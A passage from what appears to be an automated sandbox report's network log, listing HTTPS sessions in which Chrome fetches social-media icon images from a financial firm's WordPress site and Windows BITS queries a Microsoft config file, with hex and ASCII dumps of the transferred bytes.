2024-04-11 20:34:57 UTC	1378	IN	Data Raw: c4 92 3f 94 27 51 f1 f4 ed a7 51 30 ee 4d c3 f1 f8 54 8c 90 81 6b 8a 25 bb b8 eb 56 ac 57 b6 42 4e 85 4b 48 23 f0 d4 1e dd 2f b4 7e 0f 91 c4 72 a6 13 b4 8f 03 42 1a 5a 9c 8c 33 a0 4c 54 15 0f 83 6d e8 91 f0 f5 09 ed e9 d4 0e c0 90 06 b2 ab 53 1b 9d 01 03 45 0d 9c 8a 7b aa da 98 84 20 82 3c a5 b2 94 a5 43 b8 3f 56 84 eb f2 f5 ea 2e e9 fb 76 b4 92 e2 bf 8f 65 38 dd ca e2 34 8e fa 10 b5 b5 75 64 0d ba 7a 7a 68 49 1f 10 75 ec 3a 8f da 6d 74 80 71 ed 4f 63 4b cd 95 e5 3d bb 69 c1 13 27 82 df 90 a4 80 0e e2 7b 01 af 6d 46 9f 23 f1 ea a1 8b 6f 70 d2 56 8e 1f 2e 0e c3 e5 46 a2 c1 d7 5c da 5d 25 29 ee 42 08 ef a7 cd 43 5e e7 a0 f9 2d 8c 60 2f 53 12 17 e0 e2 45 13 2e d9 d2 54 84 38 47 a0 09 1a a8 9f 9e ba 76 dd d4 a2 db 03 7c 69 dd 3b be 92 69 23 4a 90 fa 8a 9d 5b Data Ascii: ?'QQ0MTk%VWBNKH#/~rBZ3LTmSE{ <C?V.ve84udzzhIu:mtqOcK=i'{mF#opV.F\]%)BC^-`/SE.T8Gv\|i;i#J[
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ef 1f 89 75 4d bb 58 c8 d2 13 1b f1 14 e0 dd 1c 72 01 2d 05 83 dc 12 07 7f 90 07 b7 55 dd bf 70 28 b7 a3 33 64 c3 8a 52 e6 ab 18 6c 0f e9 b4 9e df f0 a5 4a d7 f1 09 1e bd 01 db a9 1e 7c 0a 4a de 8a dd b3 5b 72 9d 9f 8d 29 4c 56 50 3f e9 ee f9 fd 3f 4e 9f 2e fb 47 6e a2 66 79 28 4a 76 63 fc 2a 42 16 0c 01 27 e1 46 80 d3 7d c2 5b 47 60 3b e9 a9 d3 e5 a0 f8 74 c4 bd e6 e4 96 9e ee ea 22 34 28 68 68 5e 34 4a e5 36 9f ca 5b 56 9d c9 2a 09 03 f1 f8 ea 3f 87 7e a6 21 2e fa 94 7c 4d 09 f3 22 61 df 48 97 39 67 52 97 1a 49 d3 5d e9 69 6b 56 9e 9f cf a2 7a b0 cd bb 02 63 6e 75 5d d3 bc a8 04 21 1e ef e1 4d 8f 2d 4e ea 1c 76 43 ff 00 20 b7 83 4d 9f fe 54 7e 3f 0e ac 30 36 31 a4 34 0e e5 3f 1a aa f7 97 db 53 9d f0 4e ea 20 a5 43 b0 43 29 1a 69 f4 80 7b 7f 89 d4 91 f3 Data Ascii: uMXr-Up(3dRlJ\|J[r)LVP??N.Gnfy(JvcB'F}[G`;t"4(hh^4J6[V?~!.\|M"aH9gRI]ikVzcnu]!M-NvC MT~?0614?SN CC)i{
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: b4 17 13 ed df 51 69 f5 a1 29 25 b6 12 8d 3f 28 4e a5 49 0a d0 24 8d bd 92 49 ff 00 2e b4 e2 90 84 21 cb c6 a8 c9 10 68 e4 94 c1 f6 d2 02 81 54 6d 37 92 12 95 25 5b 95 a7 62 54 75 f5 d7 ab da e2 d2 8d 72 bb e5 d9 55 74 49 93 40 00 fb e9 f5 c7 d9 aa af 8c e5 80 70 bd 36 4a e2 55 d7 42 61 56 17 57 73 9b 68 b9 fa 5d 0d 53 67 ee ad ac 5d 48 d1 0d 23 44 85 14 85 29 3b 93 ae 27 51 ea 5b 2e 97 0b b7 5b d9 34 40 d1 de 6f 80 03 13 d9 5a bb 5d ac db a7 88 20 6e a9 4f b8 73 27 21 4c d4 99 56 2f 94 bb 26 16 39 75 0a 6d fc 6f b8 16 58 bc d0 ba 5c c2 98 c1 03 f5 16 ad 30 cb a6 e0 64 f0 d7 58 b3 b6 4b 9f 6a a8 ed 2c 11 e5 20 6b d4 76 3d 53 a7 75 10 0e d2 68 dc a1 51 7c 7f f2 e3 52 dc ed 37 1b 4b 4e c2 13 3c 5b ff 00 36 1e c9 48 e4 48 b3 53 fb 1b 70 0d 15 f0 23 4d 34 fa Data Ascii: Qi)%?(NI$I.!hTm7%[bTurUtI@p6JUBaVWsh]Sg]H#D);'Q[.[4@oZ] nOs'!LV/&9umoX\0dXKj, kv=SuhQ\|R7KN<[6HHSp#M4
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: a4 10 ab df 5e 1c 92 61 20 79 95 a0 ff 00 f9 87 fc bd 12 3a 91 e9 f1 7f 28 5e ea 63 bf 95 53 51 e3 42 fe e0 94 7b ef 52 89 fc 4f 71 ff 00 6f 42 3b 18 81 b0 b8 a7 3b e7 8c 4d a8 69 bb 9e 75 da d8 20 f6 fe 63 ff 00 cb df f8 f4 9d b3 db 93 7b 1a 97 de cd c0 2f ca 96 35 6d 66 7d 1b 56 ba fc 08 f4 f8 7f 97 42 76 d3 6e 0a e5 53 6e ef 70 72 5a 72 6e 7d 8a c6 aa d5 23 f1 5a 75 d3 f8 6b d5 77 ed f6 f8 04 53 db 56 7c f9 ce 6b 4b 9b 97 2b 50 55 a1 1e a7 55 81 af e2 46 ef 5e 84 62 8f 1b a0 a3 47 2c ae 4c 80 a5 e8 98 f1 f5 41 3a 69 a0 f2 25 23 fc f5 ea bf 92 38 d1 f5 1c 2f 4a d1 2d c0 35 21 94 1e fa ef 78 12 a1 f0 db f2 1d 0d cc 00 a0 5a 90 90 84 50 2f 4a 51 60 d2 07 d4 b6 75 ff 00 95 c1 a0 d7 f1 3d f4 1d 08 c7 ab c4 41 4e ca 90 99 a0 6a 50 9d b5 ea af 4b 60 a1 87 1a Data Ascii: ^a y:(^cSQB{ROqoB;;Miu c{/5mf}VBvnSnprZrn}#ZukwSV\|kK+PUUF^bG,LA:i%#8/J-5!xZP/JQ`u=ANjPK`
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: b4 6c 3a e6 9b 8f 75 d2 7f 70 77 0d 68 db 75 46 99 5a 3f 57 d2 fe f1 81 ac 0d ef a5 e3 1f d4 da 69 6e ae 17 67 71 c4 2d 43 a3 39 45 6d 64 e5 23 0e 4c a7 c9 18 42 57 3b 0f ca 20 48 c7 b3 28 25 7a ec 4b b8 fd 9e d7 e5 25 5b 4a 83 90 d5 29 8d 9f 56 fd 3a f4 5e 9b d7 f6 9d 41 81 db 49 41 23 f4 fe ae c4 c6 b9 8d d7 4a 97 6c e2 25 6a 0e 38 8f 78 e3 4e 1f a6 d6 c6 ee fb cd af 40 7b 6e 1a 1d 0f a1 4a 7e 20 f5 a4 e9 a6 79 40 ba bb 30 aa c2 28 58 11 f7 14 8d f9 75 8c a5 42 2c 24 15 6d fc fb 52 01 ff 00 95 3a ab 53 f8 f4 46 47 b8 94 8f 31 dd e7 2a 83 e5 db b0 16 b1 b6 a8 a4 db 36 89 3b b4 00 7a 0d fa 24 7c 92 12 0e 80 fc fa d1 87 65 22 f8 4a 9e cc 2a 8c db b6 1c 49 e1 51 c9 16 0d 2b b6 d0 52 3e 27 be 87 5e fa 69 d8 69 d6 a4 5b 69 10 3a a8 be 76 2a 5d 05 34 ae 72 35 Data Ascii: l:upwhuFZ?Wingq-C9Emd#LBW; H(%zK%[J)V:^AIA#Jl%j8xN@{nJ~ y@0(XuB,$mR:SFG16;z$\|e"JIQ+R>'^ii[i:v*]4r5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49790	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-11 20:34:58 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=37780 Date: Thu, 11 Apr 2024 20:34:58 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49791	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	627	OUT	GET /wp-content/uploads/2018/02/facebook-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1836 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a958a25-72c" last-modified: Tue, 27 Feb 2018 16:41:09 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-ewr18121-EWR, cache-ewr18168-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.316737,VS0,VE71 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:58 UTC	458	IN	Data Raw: 05 23 71 ea c3 d2 6e 39 72 c7 ba 57 90 c7 cb 6a 2b b8 40 77 0b 96 44 c2 44 ae a1 ae d5 cf a1 7c af 96 36 e6 2b 2f b4 6a 5d 3c 66 50 20 18 a5 8a d2 02 27 31 2b be d4 2c c9 9f 5e 8a 38 af f0 d7 f3 73 30 6b 6e 32 ef bf fa 29 1c 31 ac d4 71 31 4d 41 b7 30 9d f2 2f 69 d1 70 9c 1a 96 54 d3 8d 93 eb 53 f7 0e b7 77 d3 fd ee 8f e4 a9 2c a6 a1 40 c8 aa 42 2e 26 54 d9 62 1c 83 46 43 74 f6 fc 18 18 ab 26 e3 ec 73 ef 00 bd 7b fb 83 fc fd 41 ec 9d 27 97 e2 6e 25 fe b0 e3 27 61 cd 38 fa ca e0 c5 74 90 56 a1 a7 14 92 8e 74 28 2f c9 27 23 61 e6 22 18 54 65 f3 74 35 01 d1 cc b0 b7 92 1c 42 a6 10 b9 b6 af 6f 2c 78 9d fe 9f dd 56 65 37 8f 4d ea 71 65 42 b3 39 56 ce aa 32 b2 2f 4e 46 4f d7 14 12 b9 4f bf ca 8e 25 13 87 8f 12 41 a7 d9 71 c3 b4 fa 60 da 79 02 91 99 40 79 53 dc Data Ascii: #qn9rWj+@wDD\|6+/j]<fP '1+,^8s0kn2)1q1MA0/ipTSw,@B.&TbFCt&s{A'n%'a8tVt(/'#a"Tet5Bo,xVe7MqeB9V2/NFOO%Aq`y@yS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49793	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	627	OUT	GET /wp-content/uploads/2018/02/linkedin-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	712	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2143 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a958a28-85f" last-modified: Tue, 27 Feb 2018 16:41:12 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-lga21955-LGA, cache-lga21976-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.663740,VS0,VE132 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:58 UTC	765	IN	Data Raw: ec 13 69 dc 5e 2c e0 b7 2c 23 2d ed 59 eb 11 1a 77 96 72 a6 1e 65 99 eb 88 aa 49 c6 3d 9b 06 98 0d 42 9c a0 fa 9a 49 db 70 36 61 84 78 ca 47 77 5c e3 bb b9 1c f8 13 e9 4e 1f ab 8c d8 a7 f6 25 d0 19 63 36 11 e0 e7 a5 32 8a b9 0a 46 9e 4c 63 88 c1 75 77 a5 82 f1 3f 59 9d a8 1b 58 a0 10 35 64 0b b9 08 65 8e 36 b9 80 c1 d1 df e6 61 e6 fc 41 74 f0 bf 5c 2f 7d 73 0f 57 ee ac 60 ec 95 01 0c 67 92 f6 dd 85 a9 2c f6 a7 3c bc 35 bc 17 6b e8 93 f7 0a 78 f9 ca 7d 2c ad 86 8e 74 83 a5 e6 28 55 35 3d cd 3e 57 36 05 95 58 2e 8b 0f c6 b8 9d 4a dc 49 f0 12 2d 7b 6f b8 9b 64 bd 4e fd 20 42 81 41 75 72 20 8d 4f 4f 65 50 cb e3 0d b9 69 7a 34 65 33 5b d5 8b 7c e0 52 44 c0 2c 8f 1c 6d e8 de 05 54 20 d1 a6 f1 ee 0f 0b 78 e1 8b 39 7c 3f 9f 47 82 67 6a 8a 65 8c 1e 48 e1 e9 7e 16 Data Ascii: i^,,#-YwreI=BIp6axGw\N%c62FLcuw?YX5de6aAt\/}sW`g,<5kx},t(U5=>W6X.JI-{odN BAur OOePiz4e3[\|RD,mT x9\|?GgjeH~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49798	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	633	OUT	GET /wp-content/themes/x-child/images/linkedin-50.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3070 content-type: image/png x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "5a9524da-bfe" last-modified: Tue, 27 Feb 2018 09:28:58 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-ewr18133-EWR, cache-ewr18173-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.664419,VS0,VE58 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 89 94 6a 37 86 0e e4 17 56 ed 05 2a a5 bc 9f 93 79 63 12 1e 9f 17 fd f9 ea 77 80 ac 3d 7b 04 93 60 f3 02 ac 55 d8 5d 38 85 2a 89 38 f2 6c 2b 81 ed 6e 60 b9 2c 70 e5 68 dc 3d 18 c3 ca 84 83 f1 6c 09 1f 4c 70 8c 12 07 74 55 fb 09 09 36 63 4e 11 cb 21 e8 42 15 b4 83 2f cf ef ac a9 f5 2b 50 ea 3a 4e c6 c3 75 07 29 f8 e8 ef 76 f1 c7 2f 0f e0 5b 6b 13 56 30 86 7f 2f 9c cc e0 67 6f 4d a0 60 42 b2 6d 57 33 e7 3c dc d9 8d e8 3b 73 b9 3c a1 86 2e 22 a8 05 11 df 2e 3e 1b 6e 68 41 58 7f bd a9 1f 8f dd de 6b 49 78 f4 91 5c fa 59 3f be 33 85 a7 ee e8 0d d4 ac 33 65 d8 62 15 cc 21 7e 8d e9 d5 c0 34 fd ba a9 75 77 a0 14 7d 2a b4 e1 57 96 92 8f 9e a4 8b 91 95 31 02 f6 30 c7 7d 21 64 72 f2 a1 15 be be 3a 11 ec 9d 4e 14 c1 28 58 05 b3 60 27 07 8d 39 7a 19 52 0b a9 5d 14 59 Data Ascii: j7Vycw={`U]88l+n`,ph=lLptU6cN!B/+P:Nu)v/[kV0/goM`BmW3<;s<.".>nhAXkIx\Y?33eb!~4uw}*W10}!dr:N(X`'9zR]Y
2024-04-11 20:34:58 UTC	314	IN	Data Raw: 3b a8 5d 37 2c 09 c1 26 18 05 6b 15 76 5d 09 b4 a5 da 9f 15 6c 7d 8e 7a 78 a0 46 97 af bf 1b 82 00 93 60 73 02 ac 55 d8 5d ac 38 59 3f 1d 69 b4 fc dc f5 05 b2 7d 64 d1 54 6a 47 48 70 bd 9d c2 3f 90 3c b7 23 c4 76 e5 f6 43 34 d3 c0 b8 db 7c cf 76 4c ad db 03 f9 0d ef fa 96 17 49 62 27 62 53 45 2b 8d 7a a9 e9 46 ff db 11 58 35 3f c7 8f ef 93 d5 29 28 f3 4c c7 7f d9 b5 01 bc fa 25 3f 9f b5 11 99 55 29 b7 31 dc 45 47 0a d2 a4 cf 52 27 e5 5f 2d c6 03 b1 aa f6 a2 0f 54 67 dc ce 29 73 97 63 df 45 63 f6 e6 d3 20 34 c9 6a 0b 75 f5 79 aa dd 64 7b c8 d8 13 7b d2 ce 21 73 d9 39 9b 4d 3e b4 94 98 8a 5c 42 e2 e2 4f 11 4d 7f 85 b6 fc 25 c9 a7 5d 43 16 69 3b a6 8c 2d 73 c8 5c 2d 14 77 69 8a 8b 13 5c b9 27 79 bb 99 0e db 08 af f7 53 1d 1e b6 ff ed d3 da 58 19 5a a1 57 b9 Data Ascii: ;]7,&kv]l}zxF`sU]8Y?i}dTjGHp?<#vC4\|vLIb'bSE+zFX5?)(L%?U)1EGR'_-Tg)scEc 4juyd{{!s9M>\BOM%]Ci;-s\-wi\'ySXZW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49804	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:58 UTC	633	OUT	GET /wp-content/themes/x-child/images/facebook-50.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2359 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524d7-937" last-modified: Tue, 27 Feb 2018 09:28:55 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:59 GMT X-Served-By: cache-ewr18155-EWR, cache-ewr18166-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.971486,VS0,VE60 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-04-11 20:34:59 UTC	981	IN	Data Raw: bb 43 44 04 2d e7 fc a5 49 78 62 fd ca 39 45 18 3e e2 12 f9 ba 65 f9 2e 90 2f e4 53 e1 c8 84 fe aa a9 58 7c 3d b0 a2 b4 30 14 f0 31 87 d7 ac 45 af 7c 7c 3c db b4 a8 04 bf 51 54 88 a2 aa 70 5d c8 0f ed 4b cc 6b 48 0a b9 ef 7e 79 02 86 c3 51 58 54 e5 81 74 46 c1 c8 a6 b1 d7 02 f9 85 12 e6 8f 39 21 6f 39 91 2b 54 55 07 9f 47 66 51 cb 0c 3b 3f 3c 02 db 5f fa 02 83 68 90 85 5c 37 fa 46 57 6b 1d 54 f9 dc 56 73 4a 3e 76 20 d7 e5 84 3c e4 84 10 5a 8a b1 40 73 21 67 86 ff 01 b9 25 04 cb 3b 1a 98 93 5f 79 00 f6 45 10 ee ce 99 56 17 ef 09 ec 39 b8 cb 70 f3 f1 89 24 4c 62 5e a0 ac 9d ca 2a a6 9f 4d a1 29 a9 98 20 c3 7e 23 39 53 3e 69 aa 5f c4 ae cf 17 66 11 3e 12 43 42 b6 8a 95 1e b8 13 ba 06 dd 9d 0d 2c 8c 26 71 b1 7e 9f 79 4e b8 bd bb 09 2e ac 5d 06 6d 8d 41 5c ba Data Ascii: CD-Ixb9E>e./SX\|=01E\|\|<QTp]KkH~yQXTtF9!o9+TUGfQ;?<_h\7FWkTVsJ>v <Z@s!g%;_yEV9p$Lb^*M) ~#9S>i_f>CB,&q~yN.]mA\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49799	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
